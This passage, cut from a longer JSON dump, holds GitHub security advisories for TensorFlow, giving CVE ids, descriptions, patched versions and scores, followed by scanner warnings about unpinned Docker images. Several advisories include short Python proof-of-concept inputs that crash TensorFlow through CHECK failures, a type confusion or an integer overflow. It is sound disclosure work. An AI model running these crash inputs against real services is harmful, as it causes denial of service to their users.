com/tensorflow/tensorflow","blast_radius":35.04809856489007,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.085Z","updated_at":"2024-11-13T22:32:11.000Z","epss_percentage":0.0025,"epss_percentile":0.48307},{"uuid":"GSA_kwCzR0hTQS1oN2ZmLWNmYzktd21taM4AAu2p","url":"https://github.com/advisories/GHSA-h7ff-cfc9-wmmh","title":" TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVarsPerChannelGradient`","description":"### Impact\nWhen `tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient` receives input `min` or `max` of rank other than 1, it gives a `CHECK` fail that can trigger a denial of service attack.\n```python\nimport tensorflow as tf\narg_0=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)\narg_1=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)\narg_2=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)\narg_3=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)\narg_4=8\narg_5=False\narg_6=None\ntf.quantization.fake_quant_with_min_max_vars_per_channel_gradient(gradients=arg_0, \n            inputs=arg_1, min=arg_2,  max=arg_3, num_bits=arg_4, \n            narrow_range=arg_5, name=arg_6)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f3cf67ac5705f4f04721d15e485e192bb319feed](https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by \n - 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology\n - Neophytos Christou, Secure Systems Labs, Brown University\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:15:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h7ff-cfc9-wmmh","https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35990","https://github.com/advisories/GHSA-h7ff-cfc9-wmmh"],"source_kind":"github","identifiers":["GHSA-h7ff-cfc9-wmmh","CVE-2022-35990"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.042Z","updated_at":"2023-01-28T05:03:11.000Z","epss_percentage":0.00208,"epss_percentile":0.43485},{"uuid":"GSA_kwCzR0hTQS1tNGhmLWo1NHAtcDM1M80ocQ","url":"https://github.com/advisories/GHSA-m4hf-j54p-p353","title":"Type confusion leading to segfault in Tensorflow","description":"### Impact \nThe [implementation of shape inference for `ConcatV2`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/framework/common_shape_fns.cc#L1961-L2059) can be used to trigger a denial of service attack via a segfault caused by a type confusion:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  y = tf.raw_ops.ConcatV2(\n    values=[[1,2,3],[4,5,6]],\n    axis = 0xb500005b)\n  return y\n\ntest()\n```\n\nThe `axis` argument is translated into `concat_dim` in the `ConcatShapeHelper` helper function. Then, a value for `min_rank` is computed based on `concat_dim`. This is then used to validate that the `values` tensor has at least the required rank:\n\n```cc\n  int64_t concat_dim;\n  if (concat_dim_t-\u003edtype() == DT_INT32) {\n    concat_dim = static_cast\u003cint64_t\u003e(concat_dim_t-\u003eflat\u003cint32\u003e()(0));\n  } else {\n    concat_dim = concat_dim_t-\u003eflat\u003cint64_t\u003e()(0);\n  }\n\n  // Minimum required number of dimensions.\n  const int min_rank = concat_dim \u003c 0 ? -concat_dim : concat_dim + 1;\n\n  // ...\n  ShapeHandle input = c-\u003einput(end_value_index - 1);\n  TF_RETURN_IF_ERROR(c-\u003eWithRankAtLeast(input, min_rank, \u0026input));\n```\n\nHowever, [`WithRankAtLeast`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/framework/shape_inference.cc#L345-L358) receives the lower bound as a 64-bits value and then compares it against the maximum 32-bits integer value that could be represented:\n\n```cc\nStatus InferenceContext::WithRankAtLeast(ShapeHandle shape, int64_t rank,\n                                         ShapeHandle* out) {\n  if (rank \u003e kint32max) {\n    return errors::InvalidArgument(\"Rank cannot exceed kint32max\");\n  }\n  // ...\n}\n```\n\nDue to the fact that `min_rank` is a 32-bits value and the value of `axis`, the `rank` argument is a [negative value](https://godbolt.org/z/Gcr5haMob), so the error check is bypassed.\n\n### Patches\nWe have patched the issue in GitHub commit [08d7b00c0a5a20926363849f611729f53f3ec022](https://github.com/tensorflow/tensorflow/commit/08d7b00c0a5a20926363849f611729f53f3ec022).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-10T00:19:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-m4hf-j54p-p353","https://github.com/tensorflow/tensorflow/commit/08d7b00c0a5a20926363849f611729f53f3ec022","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/framework/common_shape_fns.cc#L1961-L2059","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/framework/shape_inference.cc#L345-L358","https://nvd.nist.gov/vuln/detail/CVE-2022-21731","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-55.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-110.yaml","https://github.com/advisories/GHSA-m4hf-j54p-p353"],"source_kind":"github","identifiers":["GHSA-m4hf-j54p-p353","CVE-2022-21731"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.141Z","updated_at":"2024-11-13T22:12:12.000Z","epss_percentage":0.00303,"epss_percentile":0.5317},{"uuid":"GSA_kwCzR0hTQS04MjhjLTVqNXEtdnJqcc4AAu2X","url":"https://github.com/advisories/GHSA-828c-5j5q-vrjq","title":"TensorFlow vulnerable to null-dereference in `mlir::tfg::GraphDefImporter::ConvertNodeDef`","description":"### Impact\nWhen [`mlir::tfg::GraphDefImporter::ConvertNodeDef`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/ir/importexport/graphdef_import.cc) tries to convert NodeDefs without an op name, it crashes.\n```cpp\nStatus GraphDefImporter::ConvertNodeDef(OpBuilder \u0026builder, ConversionState \u0026s,\n                                        const NodeDef \u0026node) {\n  VLOG(4) \u003c\u003c \"Importing: \" \u003c\u003c node.name();\n  OperationState state(ConvertLocation(node), absl::StrCat(\"tfg.\", node.op()));\n\n  // The GraphImporter does light shape inference, but here we will defer all of\n  // that to the shape inference pass.\n  const OpDef *op_def;\n  const OpRegistrationData *op_reg_data = nullptr;\n  if ((op_reg_data = registry_.LookUp(node.op()))) {\n    op_def = \u0026op_reg_data-\u003eop_def;\n  } else {\n    auto it = function_op_defs_.find(node.op());\n    if (it == function_op_defs_.end())\n      return InvalidArgument(\"Unable to find OpDef for \", node.op());\n    op_def = it-\u003esecond;\n  }\n```\n`node.op().empty()` cannot be empty.\n\n\n### Patches\nWe have patched the issue in GitHub commit [a0f0b9a21c9270930457095092f558fbad4c03e5](https://github.com/tensorflow/tensorflow/commit/a0f0b9a21c9270930457095092f558fbad4c03e5).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:01:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-828c-5j5q-vrjq","https://github.com/tensorflow/tensorflow/commit/a0f0b9a21c9270930457095092f558fbad4c03e5","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36013","https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/ir/importexport/graphdef_import.cc","https://github.com/advisories/GHSA-828c-5j5q-vrjq"],"source_kind":"github","identifiers":["GHSA-828c-5j5q-vrjq","CVE-2022-36013"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.207Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00308,"epss_percentile":0.53497},{"uuid":"GSA_kwCzR0hTQS1qcW03LW01cTctM2htNc4AAu2a","url":"https://github.com/advisories/GHSA-jqm7-m5q7-3hm5","title":"TensorFlow vulnerable to `CHECK` fail in `DrawBoundingBoxes`","description":"### Impact\nWhen `DrawBoundingBoxes` receives an input `boxes` that is not of dtype `float`, it gives a `CHECK` fail that can trigger a denial of service attack.\n```python\nimport tensorflow as tf\nimport numpy as np\narg_0=tf.constant(value=np.random.random(size=(1, 3, 2, 3)), shape=(1, 3, 2, 3), dtype=tf.half)\narg_1=tf.constant(value=np.random.random(size=(1, 2, 4)), shape=(1, 2, 4), dtype=tf.float32)\narg_2=''\ntf.raw_ops.DrawBoundingBoxes(images=arg_0, boxes=arg_1, name=arg_2)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [da0d65cdc1270038e72157ba35bf74b85d9bda11](https://github.com/tensorflow/tensorflow/commit/da0d65cdc1270038e72157ba35bf74b85d9bda11).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:08:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-jqm7-m5q7-3hm5","https://github.com/tensorflow/tensorflow/commit/da0d65cdc1270038e72157ba35bf74b85d9bda11","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36001","https://github.com/advisories/GHSA-jqm7-m5q7-3hm5"],"source_kind":"github","identifiers":["GHSA-jqm7-m5q7-3hm5","CVE-2022-36001"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.182Z","updated_at":"2023-01-28T05:03:10.000Z","epss_percentage":0.00202,"epss_percentile":0.42687},{"uuid":"GSA_kwCzR0hTQS1mcW0yLWdoOHctZ3I2OM4AAyT9","url":"https://github.com/advisories/GHSA-fqm2-gh8w-gr68","title":"TensorFlow vulnerable to segfault when opening multiframe gif","description":"### Impact\nInteger overflow occurs when 2^31 \u003c= num_frames * height * width * channels \u003c 2^32, for example Full HD screencast of at least 346 frames.\n```python\nimport urllib.request\ndat = urllib.request.urlopen('https://raw.githubusercontent.com/tensorflow/tensorflow/1c38ad9b78ffe06076745a1ee00cec42f39ff726/tensorflow/core/lib/gif/testdata/3g_multiframe.gif').read()\nimport tensorflow as tf\ntf.io.decode_gif(dat)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [8dc723fcdd1a6127d6c970bd2ecb18b019a1a58d](https://github.com/tensorflow/tensorflow/commit/8dc723fcdd1a6127d6c970bd2ecb18b019a1a58d).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Andrei\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-03-24T21:57:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-fqm2-gh8w-gr68","https://github.com/tensorflow/tensorflow/commit/8dc723fcdd1a6127d6c970bd2ecb18b019a1a58d","https://nvd.nist.gov/vuln/detail/CVE-2023-25667","https://github.com/advisories/GHSA-fqm2-gh8w-gr68"],"source_kind":"github","identifiers":["GHSA-fqm2-gh8w-gr68","CVE-2023-25667"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.222Z","updated_at":"2023-03-27T22:02:12.000Z","epss_percentage":0.00137,"epss_percentile":0.34428},{"uuid":"GSA_kwCzR0hTQS1weHJ3LWoyZnYtaHgzaM4AAu1_","url":"https://github.com/advisories/GHSA-pxrw-j2fv-hx3h","title":"TensorFlow vulnerable to OOB read in `Gather_nd` in TF Lite","description":"### Impact\nThe [`GatherNd`](https://github.com/tensorflow/tensorflow/blob/f463040eb3997e42e60a2ffc6dc72de7ef11dbb4/tensorflow/lite/kernels/gather_nd.cc#L105-L111) function takes arguments that determine the sizes of inputs and outputs. If the inputs given are greater than or equal to the sizes of the outputs, an out-of-bounds memory read is triggered.\n\n### Patches\nWe have patched the issue in GitHub commit [595a65a3e224a0362d7e68c2213acfc2b499a196](https://github.com/tensorflow/tensorflow/commit/595a65a3e224a0362d7e68c2213acfc2b499a196).\n\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Hui Peng from Baidu Security.\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-09-16T21:04:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-pxrw-j2fv-hx3h","https://github.com/tensorflow/tensorflow/commit/595a65a3e224a0362d7e68c2213acfc2b499a196","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35937","https://github.com/tensorflow/tensorflow/blob/f463040eb3997e42e60a2ffc6dc72de7ef11dbb4/tensorflow/lite/kernels/gather_nd.cc#L105-L111","https://github.com/advisories/GHSA-pxrw-j2fv-hx3h"],"source_kind":"github","identifiers":["GHSA-pxrw-j2fv-hx3h","CVE-2022-35937"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.498Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00183,"epss_percentile":0.40485},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1oaGMtcTk2cC1tZm05","url":"https://github.com/advisories/GHSA-mhhc-q96p-mfm9","title":"Infinite loop in TFLite","description":"### Impact\nThe strided slice implementation in TFLite has a logic bug which can allow an attacker to trigger an infinite loop. This arises from newly introduced support for [ellipsis in axis definition](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/strided_slice.cc#L103-L122):\n\n```cc\n  for (int i = 0; i \u003c effective_dims;) {\n    if ((1 \u003c\u003c i) \u0026 op_context-\u003eparams-\u003eellipsis_mask) {\n      // ...\n      int ellipsis_end_idx =\n          std::min(i + 1 + num_add_axis + op_context-\u003einput_dims - begin_count,\n                   effective_dims);\n      // ...\n      for (; i \u003c ellipsis_end_idx; ++i) {\n        // ...\n      }\n      continue;\n    }\n    // ...\n    ++i;\n  }\n```\n\nAn attacker can craft a model such that `ellipsis_end_idx` is smaller than `i` (e.g., always negative). In this case, the inner loop does not increase `i` and the `continue` statement causes execution to skip over the preincrement at the end of the outer loop.\n\n### Patches\nWe have patched the issue in GitHub commit [dfa22b348b70bb89d6d6ec0ff53973bacb4f4695](https://github.com/tensorflow/tensorflow/commit/dfa22b348b70bb89d6d6ec0ff53973bacb4f4695).\n\nThe fix will be included in TensorFlow 2.6.0. This is the only affected version.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 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ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to 